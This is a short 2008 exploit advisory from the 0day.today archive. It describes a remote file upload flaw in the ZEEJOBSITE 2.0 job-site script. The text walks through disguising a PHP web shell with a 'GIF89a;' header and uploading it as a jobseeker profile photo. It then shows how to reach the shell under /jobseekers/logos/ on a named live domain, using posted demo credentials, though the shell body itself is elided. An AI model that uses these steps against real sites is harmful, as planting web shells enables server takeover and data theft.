ZEEJOBSITE 2.0 Remote File Upload Vulnerability

2008-11-08T00:00:00
ID 1337DAY-ID-4130
Type zdt
Reporter ZoRLu
Modified 2008-11-08T00:00:00

Description

Exploit for unknown platform in category web applications

                                        
                                            ===============================================
ZEEJOBSITE 2.0 Remote File Upload Vulnerability
===============================================


ZEEJOBSITE v2.0 remote file Upload

author: ZoRLu 

date: 08/11/2008 ( aha simdi gonderiyorum saat 10:40 : ) )

first register to site 

you add this code your shell to head 

GIF89a; 

example your_shell.php:

GIF89a;
<?

...

...

...

?>

and save your_sheell.php


after jobseekers login to site ( direckt link: localhost/jobseekers/jobseekerloginpage.php )

and you edit your profile ( direckt link: http://localhost/jobseekers/editresume_next.php?rid=[id] )

add your photo ( you_shell.php upload ) after open new page you right clik your photo and select to properties 

copy photo link and paste your explorer go your shell

your_shell:

localhost/script_path/jobseekers/logos/[id].php


example for demo:

user: sabrina

passwd: testing:

login: http://zeejobsite.com/jobseekers/jobseekerloginpage.php

change profile direckt link: http://zeejobsite.com/jobseekers/editresume_next.php?rid=47

and your_shell link:

http://zeejobsite.com/jobseekers/logos/7271406.php



#  0day.today [2018-04-13]  #